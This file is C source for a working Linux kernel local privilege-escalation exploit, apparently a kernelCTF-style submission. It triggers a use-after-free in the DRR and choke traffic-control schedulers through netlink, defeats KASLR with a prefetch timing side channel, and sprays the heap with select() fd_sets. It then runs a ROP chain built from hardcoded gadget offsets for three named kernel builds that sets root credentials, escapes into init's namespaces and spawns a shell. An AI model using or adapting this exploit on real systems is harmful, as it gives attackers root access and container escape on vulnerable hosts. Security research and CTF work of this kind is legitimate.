#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/if.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/timerfd.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <syscall.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#include <linux/membarrier.h>
#include <linux/limits.h>

#include "netlink.h"

// Where are you defined?
#define RED_STAB_SIZE 256

typedef u_int8_t u8;
typedef u_int16_t u16;
typedef u_int32_t u32;
typedef u_int64_t u64;
typedef int64_t i64;

#define LEN(x) (sizeof(x) / sizeof(x[0]))
#define ASSERT(x) ({ if (!(x)) { perror(#x); abort(); } })

#define NETLINK_SEND_CHECK(fd, nlh, max_size) do {\
        ASSERT(!netlink_send(fd, nlh)); \
        ASSERT(netlink_recv(fd, nlh, max_size) > 0); \
        ASSERT(!netlink_errno(nlh)); \
    } while(0);

// offsets

// #define LTS_v6_6_60 1
// #define COS_109_17800_372_31 1
// #define COS_105_17412_495_28 1

#if LTS_v6_6_60
// nm vmlinux | grep -wE 'drr_qdisc_ops|init_task|prepare_kernel_cred|commit_creds|find_task_by_vpid|init_nsproxy|switch_task_namespaces|__do_sys_fork|msleep'
u64 drr_qdisc_ops = 0xffffffff83f93680;
u64 init_task = 0xffffffff83c0bf40;
u64 prepare_kernel_cred = 0xffffffff811fb090;
u64 commit_creds = 0xffffffff811fade0;
u64 find_task_by_vpid = 0xffffffff811ee4d0;
u64 init_nsproxy = 0xffffffff83c748a0;
u64 switch_task_namespaces = 0xffffffff811f8ae0;
u64 __do_sys_fork = 0xffffffff811c1480;
u64 __msleep = 0xffffffff812784d0;

// push rbp; mov ah, HashKey_8+0xc (0x00dc); jmp qword ptr [rbx+TMP1 (0)]; 	55b4dcff23
u64 push_rbp_jmp_rbx = 0xffffffff81bd64e7;
#define PUSH_JOP_GADGET push_rbp_jmp_rbx

// pop rsp; add rsp, TMP2+8 (0x0018); pop rbx; pop rbp; pop r12; jmp __x86_return_thunk (0xffffffff8245ee20); ret; 	5c4883c4185b5d415ce9270c9400c3
//   offset = 0x18 + 3*8 = 48
u64 pop_rsp_add_rsp_48 = 0xffffffff81b1e1eb;
// add rsp, i+7 (0x0088); jmp __x86_return_thunk (0xffffffff8246c060); ret; 	4881c488000000e931304900c3
u64 add_rsp_136 = 0xffffffff817ef9f7;

// pop rdi; jmp __x86_return_thunk (0xffffffff8246c060); ret; 	5fe92b6b9900c3
u64 pop_rdi = 0xffffffff81e046da;
// pop rsi; jmp __x86_return_thunk (0xffffffff8246c060); ret; 	5ee9f1a4f600c3
u64 pop_rsi = 0xffffffff81020025;
// mov rdi, rax; mov [rip+vmcoreinfo_data_safecopy (0xffffffff84b47410)], rdi; jmp __x86_return_thunk (0xffffffff8246c060); ret; 	4889c748893d99078b03e9e4531d01c3
u64 mov_rdi_rax = 0xffffffff8129ac3d;
#elif COS_109_17800_372_31
// nm vmlinux | grep -wE 'drr_qdisc_ops|init_task|prepare_kernel_cred|commit_creds|find_task_by_vpid|init_nsproxy|switch_task_namespaces|__do_sys_fork|msleep'
u64 drr_qdisc_ops = 0xffffffff83b8ade0;
u64 init_task = 0xffffffff83815a40;
u64 prepare_kernel_cred = 0xffffffff811d5eb0;
u64 commit_creds = 0xffffffff811d5c10;
u64 find_task_by_vpid = 0xffffffff811cc360;
u64 init_nsproxy = 0xffffffff83876900;
u64 switch_task_namespaces = 0xffffffff811d4090;
u64 __do_sys_fork = 0xffffffff811a3b00;
u64 __msleep = 0xffffffff81243d00;

// push rdi; sahf; jmp qword ptr [rbp+TMP5+8 (0x0048)]; 	579eff6548
u64 push_rdi_jmp_rbp_x48 = 0xffffffff8137dad5;
#define PUSH_JOP_GADGET push_rdi_jmp_rbp_x48

// pop rsp; add rsp, TMP2+8 (0x0018); pop rbx; pop rbp; pop r12; jmp __x86_return_thunk (0xffffffff824046c0); ret; 	5c4883c4185b5d415ce91f2b3c01c3
//   offset = 0x18 + 3*8 = 48
u64 pop_rsp_add_rsp_48 = 0xffffffff819fe27b;
// add rsp, i+7 (0x0088); jmp __x86_return_thunk (0xffffffff8246c060); ret; 	4881c488000000e931304900c3
u64 add_rsp_136 = 0xffffffff811a36b9;

// pop rdi; jmp __x86_return_thunk (0xffffffff8246c060); ret; 	5fe92b6b9900c3
u64 pop_rdi = 0xffffffff81e1f8ab;
// pop rsi; jmp __x86_return_thunk (0xffffffff8246c060); ret; 	5ee9f1a4f600c3
u64 pop_rsi = 0xffffffff8101706d;
// mov rdi, rax; mov [rip+vmcoreinfo_data_safecopy (0xffffffff84b47410)], rdi; jmp __x86_return_thunk (0xffffffff8246c060); ret; 	4889c748893d99078b03e9e4531d01c3
u64 mov_rdi_rax = 0xffffffff8126305d;

#elif COS_105_17412_495_28
// nm vmlinux | grep -wE 'drr_qdisc_ops|init_task|prepare_kernel_cred|commit_creds|find_task_by_vpid|init_nsproxy|switch_task_namespaces|__do_sys_fork|msleep'
u64 drr_qdisc_ops = 0xffffffff83936300;
u64 init_task = 0xffffffff83615940;
u64 prepare_kernel_cred = 0xffffffff81114910;
u64 commit_creds = 0xffffffff81114660;
u64 find_task_by_vpid = 0xffffffff8110b400;
u64 init_nsproxy = 0xffffffff83661fc0;
u64 switch_task_namespaces = 0xffffffff81112c70;
u64 __do_sys_fork = 0xffffffff810e3e50;
u64 __msleep = 0xffffffff81170550;

// push rdi; sahf; jmp qword ptr [rbp+TMP5+8 (0x0048)]; 	579eff6548
u64 push_rdi_jmp_rbp_x48 = 0xffffffff820b9da6;
#define PUSH_JOP_GADGET push_rdi_jmp_rbp_x48

// pop rsp; add rsp, TMP2+8 (0x0018); pop rbx; pop rbp; pop r12; jmp __x86_return_thunk (0xffffffff824046c0); ret; 	5c4883c4185b5d415ce91f2b3c01c3
//   offset = 0x18 + 3*8 = 48
u64 pop_rsp_add_rsp_48 = 0xffffffff81041b93;
// add rsp, i+7 (0x0088); jmp __x86_return_thunk (0xffffffff8246c060); ret; 	4881c488000000e931304900c3
u64 add_rsp_136 = 0xffffffff8116df2d;

// pop rdi; jmp __x86_return_thunk (0xffffffff8246c060); ret; 	5fe92b6b9900c3
u64 pop_rdi = 0xffffffff81b5010c;
// pop rsi; jmp __x86_return_thunk (0xffffffff8246c060); ret; 	5ee9f1a4f600c3
u64 pop_rsi = 0xffffffff8101791c;
// mov rdi, rax; mov [rip+vmcoreinfo_data_safecopy (0xffffffff84b47410)], rdi; jmp __x86_return_thunk (0xffffffff8246c060); ret; 	4889c748893d99078b03e9e4531d01c3
u64 mov_rdi_rax = 0xffffffff81194efd;
#else
#error "unknown version"
#endif


#define FOR_ALL_OFFSETS(x) do { \
        x(drr_qdisc_ops); \
        x(init_task); \
        x(prepare_kernel_cred); \
        x(commit_creds); \
        x(find_task_by_vpid); \
        x(init_nsproxy); \
        x(switch_task_namespaces); \
        x(__do_sys_fork); \
        x(__msleep); \
        x(PUSH_JOP_GADGET); \
        x(pop_rsp_add_rsp_48); \
        x(add_rsp_136); \
        x(pop_rdi); \
        x(pop_rsi); \
        x(mov_rdi_rax); \
    } while(0)

int bypass_kaslr();

//

struct _Qdisc {
    u64 enqueue;  // int (*enqueue)(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free);
    u64 dequeue;  // struct sk_buff * (*dequeue)(struct Qdisc *sch);
    u32 flags;
    u32 limit;
    u64 ops; // struct Qdisc_ops*

    u8 __pad[96];

    /* offset = */
    struct {
        u64 next;
        u64 prev;
        u32 qlen;
        u32 lock;
    } gso_skb; // struct sk_buff_head

    // .. rest ommitted
} __attribute__((__packed__));

struct _rop {
    // We only have so much space for our chain because of the spray primitive we chose
    u64 buf[58];
};

union payload {
    struct _Qdisc qdisc;
    struct _rop rop;
    u8 pad[1024];
} __attribute__((__aligned__(8)));

static union payload payload = {};
static int notify_fd = -1;
static pid_t spray_workers[32];


inline static int _pin_to_cpu(int id) {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(id, &set);
    return sched_setaffinity(getpid(), sizeof(set), &set);
}

void synchronize_rcu() {
  // A synchronize_rcu primitive in userspace: Original idea from https://github.com/lrh2000/StackRot
  if (syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, -1) < 0) {
    perror("membarrier()");
  }
}

void ip_link_set_flags(int s, int ifindex, unsigned int ifi_flags) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct ifinfomsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->ifi_family = PF_UNSPEC;
    data->ifi_type = 0;
    data->ifi_index = ifindex;
    data->ifi_flags = ifi_flags;
    data->ifi_change = 1;

    NETLINK_SEND_CHECK(s, nlh, sizeof(buf));
}

void create_empty_class(int fd, unsigned int if_index, unsigned int parent, unsigned int handle) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct tcmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWTCLASS;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->tcm_family = PF_UNSPEC;
    data->tcm_ifindex = if_index;
    data->tcm_parent = parent;
    data->tcm_handle = parent | (handle & 0xFFFF);

    struct nlattr* n = netlink_nest_begin(nlh, TCA_OPTIONS);
    netlink_nest_end(nlh, n);

    NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

void delete_class(int fd, unsigned int if_index, unsigned int parent, unsigned int handle) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct tcmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_DELTCLASS;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->tcm_family = PF_UNSPEC;
    data->tcm_ifindex = if_index;
    data->tcm_parent = parent;
    data->tcm_handle = parent | (handle & 0xFFFF);

    NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

void create_qdisc_drr(int fd, unsigned int if_index, unsigned int parent, unsigned int handle) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct tcmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWQDISC;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->tcm_family = PF_UNSPEC;
    data->tcm_ifindex = if_index;
    data->tcm_parent = parent;
    data->tcm_handle = handle & 0xFFFF0000;

    netlink_attr_put(nlh, TCA_KIND, "drr", strlen("drr"));

    NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

void create_qdisc_netem(int fd, unsigned int if_index, unsigned int parent, unsigned int handle, unsigned int delay_sec) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct tcmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWQDISC;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->tcm_family = PF_UNSPEC;
    data->tcm_ifindex = if_index;
    data->tcm_parent = parent;
    data->tcm_handle = handle & 0xFFFF0000;

    netlink_attr_put(nlh, TCA_KIND, "netem", strlen("netem"));

    struct tc_netem_qopt opt = {
        .limit = 1,
        .latency = 1000 /*us*/ * 1000 /*ms*/ * delay_sec /*sec*/,
    };
    netlink_attr_put(nlh, TCA_OPTIONS, &opt, sizeof(opt));

    NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

void create_qdisc_choke(int fd, unsigned if_index, unsigned int parent, unsigned int handle, struct tc_red_qopt* opt, u8 stab[RED_STAB_SIZE]) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct tcmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWQDISC;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->tcm_family = PF_UNSPEC;
    data->tcm_ifindex = if_index;
    data->tcm_parent = parent;
    data->tcm_handle = handle & 0xFFFF0000;

    netlink_attr_put(nlh, TCA_KIND, "choke", strlen("choke"));

    struct nlattr* n = netlink_nest_begin(nlh, TCA_OPTIONS);
    netlink_attr_append(n, TCA_CHOKE_PARMS, opt, sizeof(*opt));
    netlink_attr_append(n, TCA_CHOKE_STAB, stab, RED_STAB_SIZE);
    netlink_nest_end(nlh, n);

    NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

void do_spray() {

    // size = n / 8 (+ alignment to 64)
    // we control size * 3 bytes
    #define N_FDS (((((sizeof(struct _rop) + 3 - 1) / 3) + 8 - 1) / 8) * 64)
    _Static_assert(N_FDS < 4096, "exceeds hard limit on sandbox");
    #define SIZE (((N_FDS + 63) / 64) * 8)

    // allocation size = 6 * size
    #define ALLOC_SIZE (SIZE * 6)
    _Static_assert(ALLOC_SIZE > 512 && ALLOC_SIZE <= 1024, "allocation is in wrong cache");

    // get this fd out of the way.
    ASSERT(dup2(notify_fd, N_FDS) == N_FDS);
    close(notify_fd);
    notify_fd = N_FDS;

    fd_set* readfds = (void*)((u8*)&payload + SIZE * 0);
    fd_set* writefds = (void*)((u8*)&payload + SIZE * 1);
    fd_set* exceptfds = (void*)((u8*)&payload + SIZE * 2);


    // create a timer which blocks the select call
    struct itimerspec it = {
        .it_value.tv_sec = 30,
        .it_value.tv_nsec = 0,
    };
    int fd = timerfd_create(CLOCK_MONOTONIC, 0);
    ASSERT(fd >= 0);

    // fill in all the fds
    for (int i = 0; i < N_FDS; i++) {
        if (i == fd)
            continue;

        close(i);
        ASSERT(dup2(fd, i) == i);
    }

    ASSERT(!_pin_to_cpu(0));

    // wait for parent
    u8 c;
    ASSERT(read(notify_fd, &c, 1) == 1);

    // spray one payload
    ASSERT(timerfd_settime(fd, 0, &it, NULL) >= 0);
    ASSERT(select(N_FDS, readfds, writefds, exceptfds, NULL) != -1);

    printf("bug: spray worker returned from select?\n");
}


int main(int argc, char* argv[]) {
    const unsigned int lo_index = if_nametoindex("lo");
    const unsigned int qdisc_drr = 1 << 16;
    const unsigned int qdisc_choke = 2 << 16;
    const unsigned int qdisc_netem = 3 << 16;
    const unsigned int class_choke = 2;
    const unsigned int class_netem = 3;
    const unsigned int class_dummy = 4;
    int nfd;
    int fds[2];

    printf("Hello World!\n");

    bypass_kaslr();

    ASSERT(!unshare(CLONE_NEWUSER | CLONE_NEWNET));

    struct rlimit lim = {};
    ASSERT(!prlimit(0, RLIMIT_NOFILE, NULL, &lim));
    if (lim.rlim_max <= N_FDS) {
        printf("error: we cannot open enough files: %lu < %lu!", lim.rlim_max, N_FDS);
        return 1;
    }
    lim.rlim_cur = N_FDS + 1;
    ASSERT(!prlimit(0, RLIMIT_NOFILE, &lim, NULL));

    // Prepare the payload first to share it among spray workers

    for (int m = 0; m < LEN(payload.rop.buf); m++) {
        payload.rop.buf[m] = m;
    }

    // need this to be zero, otherwise qdisc_peek_dequeued would return early
    memset(&payload.qdisc.gso_skb, 0, sizeof(payload.qdisc.gso_skb));

    // entry point
    payload.qdisc.dequeue = PUSH_JOP_GADGET;

#if COS_105_17412_495_28 || COS_109_17800_372_31
    // rbp = &payload + 0x80, see jop gadget
    *(u64*)((u8*)&payload + 0x80 + 0x48) = pop_rsp_add_rsp_48;

    // rdi = &payload
    //       + 48 from gadget add rsp 48
    int j = 48 / 8;
#else
    // rbx = &payload, see jop gadget
    payload.qdisc.enqueue = pop_rsp_add_rsp_48;

    // rbp = &payload + 0x80
    //       + 48 from gadget add rsp 48
    int j = 0x80 / 8 + 48 / 8;
#endif

    // targeting the generic qdisc_peek_dequeued function here so that cl->qdisc->ops->peek
    // will call cl->qdisc->dequeue
    payload.qdisc.ops = drr_qdisc_ops;

    payload.rop.buf[j++] = add_rsp_136;
    j += 136 / 8;
#if COS_105_17412_495_28 || COS_109_17800_372_31
    payload.rop.buf[j++] = add_rsp_136;
    j += 136 / 8;
#endif

    payload.rop.buf[j++] = pop_rdi;
    payload.rop.buf[j++] = init_task;
    payload.rop.buf[j++] = prepare_kernel_cred;
    payload.rop.buf[j++] = mov_rdi_rax;
    payload.rop.buf[j++] = commit_creds;
    payload.rop.buf[j++] = pop_rdi;
    payload.rop.buf[j++] = 1;
    payload.rop.buf[j++] = find_task_by_vpid;
    payload.rop.buf[j++] = mov_rdi_rax;
    payload.rop.buf[j++] = pop_rsi;
    payload.rop.buf[j++] = init_nsproxy;
    payload.rop.buf[j++] = switch_task_namespaces;
    payload.rop.buf[j++] = __do_sys_fork;
    payload.rop.buf[j++] = pop_rdi;
    payload.rop.buf[j++] = 9999999;
    payload.rop.buf[j++] = __msleep;

    ASSERT(j <= LEN(payload.rop.buf));

    ASSERT(!pipe(fds));
    for (int i = 0; i < LEN(spray_workers); i++) {
        pid_t pid = fork();
        ASSERT(pid >= 0);
        if (pid == 0) {
            notify_fd = fds[0];
            close(fds[1]);

            do_spray();
            exit(0);
        }

        spray_workers[i] = pid;
    }

    notify_fd = fds[1];
    close(fds[0]);

    printf("waiting for spray worker setup ..\n");
    sleep(1);

    ASSERT((nfd = netlink_open(NETLINK_ROUTE)) >= 0);
    ip_link_set_flags(nfd, lo_index, IFF_UP);

    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port = 0,
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK),
    };
    unsigned len = sizeof(addr);
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    ASSERT(s >= 0);

    ASSERT(!bind(s, (struct sockaddr*)&addr, len));
    ASSERT(!getsockname(s, (struct sockaddr*)&addr, &len));

    int c = socket(AF_INET, SOCK_DGRAM, 0);
    ASSERT(c >= 0);

    struct tc_red_qopt choke_parms = {
      .limit = 2,
      .qth_max = 1,
      .qth_min = 0,
    };
    u8 stab[RED_STAB_SIZE] = {0};

    // Need to prepare heap layout on known cores
    ASSERT(!_pin_to_cpu(0));

    printf("create qdisc root drr ..\n");
    create_qdisc_drr(nfd, lo_index, TC_H_ROOT, qdisc_drr);

    // need netem to stack up packets in qdiscs in a reliable way
    printf("create netem class %d:%d ..\n", (qdisc_drr >> 16), class_netem);
    create_empty_class(nfd, lo_index, qdisc_drr, class_netem);

    {
        // we migrate to another cpu for the class which will be freed later.
        // we want the object to stay untouched and not reclaimed. Thus we try to
        // reduce noise by allocating it from another core.
        ASSERT(!_pin_to_cpu(1));

        // class needed to trigger the bug
        printf("create choke class %d:%d ..\n", qdisc_drr >> 16, class_choke);
        create_empty_class(nfd, lo_index, qdisc_drr, class_choke);

        // to additionally protect it, we make sure that the choke class does not belong
        // to the active slab anymore
        // (32 objs per slab for kmalloc-128 where struct drr_class resides)
        printf("create dummy classes %d:%d-%d ..\n", qdisc_drr >> 16, class_dummy + 1, class_dummy + 1 + 32);
        for (int i = 0; i < 32; i++) {
            create_empty_class(nfd, lo_index, qdisc_drr, class_dummy + 1 + i);
        }

        ASSERT(!_pin_to_cpu(0));
    }


    // need a class to send packets to in order to trigger a dequeue operation
    printf("create dummy class %d:%d ..\n", (qdisc_drr >> 16), class_dummy);
    create_empty_class(nfd, lo_index, qdisc_drr, class_dummy);

    printf("create qdisc netem ..\n");
    create_qdisc_netem(nfd, lo_index, qdisc_drr | class_netem, qdisc_netem, 100); // this delay is a little bit weird for some reason. It definitely is _not_ seconds ..
    printf("create qdisc choke ..\n");
    create_qdisc_choke(nfd, lo_index, qdisc_drr | class_choke, qdisc_choke, &choke_parms, stab);

    printf("setup done.\n");

    unsigned priority;
    unsigned char buf[LEN(spray_workers)] = {'A'};

    // prepare a packet which stalls dequeue operations
    printf("sending packet A to netem ..\n");
    priority = qdisc_drr | class_netem;
    ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
    ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) == 1);

    // trigger the bug. sending C eventually drops B from the qdisc, making it empty
    // while failing to notify the parent
    printf("sending packet B and C to choke ..\n");
    priority = qdisc_drr | class_choke;
    ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
    buf[0]++;
    ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) == 1);
    buf[0]++;
    ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) == 1);

    // prepare priority for next send call later. minimize noise after freeing the class
    priority = qdisc_drr | class_dummy;
    ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));

    // delete the choke class to free the struct drr_class eventuatlly allowing a UaF
    delete_class(nfd, lo_index, qdisc_drr, class_choke);
    // wait for class to be freed after RCU grace period
    synchronize_rcu();

    // Problem: CONFIG_DEBUG_LIST
    //   Drr holds on to our reference on a list pointer. We need to make sure
    //   that we repair it well enough so that list_del(&cl->alist) of the _previous_
    //   class succeeds. This is non-trivial.
    //   Solution:
    //       We make our way around it as best as we can: We leave the class object
    //       as is and try our best to not re-allocate it. We shift focus to the
    //       cl->qdisc pointer which is freed after an RCU cycle.

    // Qdisc choke is free now. Reclaim it.
    // start spray workers
    ASSERT(write(notify_fd, buf, LEN(spray_workers)) == LEN(spray_workers));

    // wait for spray to complete
    sleep(1);

    // There is a slight problem of using the ret_from_fork trick:
    // In fork(), eventually we will hit dup_task_struct() => alloc_thread_stack_node():
    //   This function checks the cached stack pointers (n = 2) and if none are available
    //   allocates a new one using __vmalloc_node_range.
    // This is problematic because __get_vm_area_node() will then trigger the following BUG:
    //     BUG_ON(in_interrupt()); // vmalloc.c:2596
    // Thus we fill the fork stack cache to avoid that:
    for (int i = 0; i < 2; i++) {
        int pid = fork();
        if (!pid)
            exit(0);

        ASSERT(waitpid(pid, NULL, 0) == pid);
    }
    synchronize_rcu();

    // remove the netem qdics which blocks the queue
    delete_class(nfd, lo_index, qdisc_drr, class_netem);

    // send a packet to the dummy class to trigger a dequeue and thus our payload
    // (note that we set priority earlier)
    buf[0]++;
    int ret = sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len);
    if (ret != 0) {
        printf("payload likely failed? ret = %d\n", ret);
    }

    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    char* shell[] = {
        "/bin/sh",
        "-c",
        "/bin/cat /flag && /bin/sh",
        NULL,
    };
    execve(shell[0], shell, NULL);
    exit(1);
}

// KASLR bypass
//
// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
//
inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}


void prefetch(void* p)
{
  asm volatile (
    "prefetchnta (%0)\n"
    "prefetcht2 (%0)\n"
    : : "r" (p));
}

size_t flushandreload(void* addr) // row miss
{
  size_t time = rdtsc_begin();
  prefetch(addr);
  size_t delta = rdtsc_end() - time;
  return delta;
}

int bypass_kaslr() {
    u64 base;

#if CI
    #define START (0xffffffff81000000ull)
    #define END (0xffffffffc0000000ull)
    #define STEP 0x0000000000200000ull
    #define NUM_TRIALS 7
    // largest contiguous mapped area at the beginning of _stext
    #define WINDOW_SIZE 11

    while (1) {
        u64 bases[NUM_TRIALS] = {0};

        for (int vote = 0; vote < LEN(bases); vote ++) {
            size_t times[(END - START) / STEP] = {};
            uint64_t addrs[(END - START) / STEP];

            for (int ti = 0; ti < LEN(times); ti++) {
                times[ti] = ~0;
                addrs[ti] = START + STEP * (u64)ti;
            }

            for (int i = 0; i < 16; i++) {
            for (int ti = 0; ti < LEN(times); ti++) {
                u64 addr = addrs[ti];
                size_t t = flushandreload((void*)addr);
                if (t < times[ti]) {
                    times[ti] = t;
                }
            }
            }

            uint64_t max = 0;
            int max_i = 0;
            for (int ti = 0; ti < LEN(times) - WINDOW_SIZE; ti++) {
                uint64_t sum = 0;
                for (int i = 0; i < WINDOW_SIZE; i++) {
                    sum += times[ti + i];
                }
                if (sum > max) {
                    max = sum;
                    max_i = ti;
                }
            }

            bases[vote] = addrs[max_i];
        }

        int c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (c == 0) {
	            base = bases[i];
            } else if (base == bases[i]) {
	            c++;
            } else {
	            c--;
            }
        }

        c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (base == bases[i]) {
	            c++;
            }
        }
        if (c > LEN(bases) / 2) {
            goto got_base;
        }

        printf("majority vote failed:\n");
        printf("base = %lx with %d votes\n", base, c);
    }
#else
    #define OFFSET 0
    #define START (0xffffffff81000000ull + OFFSET)
    #define END   (0xffffffffD0000000ull + OFFSET)
    #define STEP   0x0000000001000000ull

    while (1) {
        u64 bases[7] = {0};
        for (int vote = 0; vote < LEN(bases); vote ++) {
            size_t times[(END - START) / STEP] = {};
            uint64_t addrs[(END - START) / STEP];

            for (int ti = 0; ti < LEN(times); ti++) {
                times[ti] = ~0;
                addrs[ti] = START + STEP * (u64)ti;
            }

            for (int i = 0; i < 16; i++) {
            for (int ti = 0; ti < LEN(times); ti++) {
                u64 addr = addrs[ti];
                size_t t = flushandreload((void*)addr);
                if (t < times[ti]) {
                    times[ti] = t;
                }
            }
            }

            size_t minv = ~0;
            size_t mini = -1;
            for (int ti = 0; ti < LEN(times) - 1; ti++) {
                if (times[ti] < minv) {
                    mini = ti;
                    minv = times[ti];
                }
            }

            if (mini < 0) {
                return -1;
            }

            bases[vote] = addrs[mini];
        }

        int c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (c == 0) {
                base = bases[i];
            } else if (base == bases[i]) {
                c++;
            } else {
                c--;
            }
        }

        c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (base == bases[i]) {
                c++;
            }
        }
        if (c > LEN(bases) / 2) {
            base -= OFFSET;
            goto got_base;
        }

        printf("majority vote failed:\n");
        printf("base = %lx with %d votes\n", base, c);
    }
#endif

got_base:
    printf("using kernel base %lx\n", base);

    i64 diff = START - base;
    printf("diff: %ld\n", diff);

    #define x(name) { name -= diff; printf("corrected %s to %lx\n", #name, name); }
    FOR_ALL_OFFSETS(x);
    #undef x

    return 0;
}
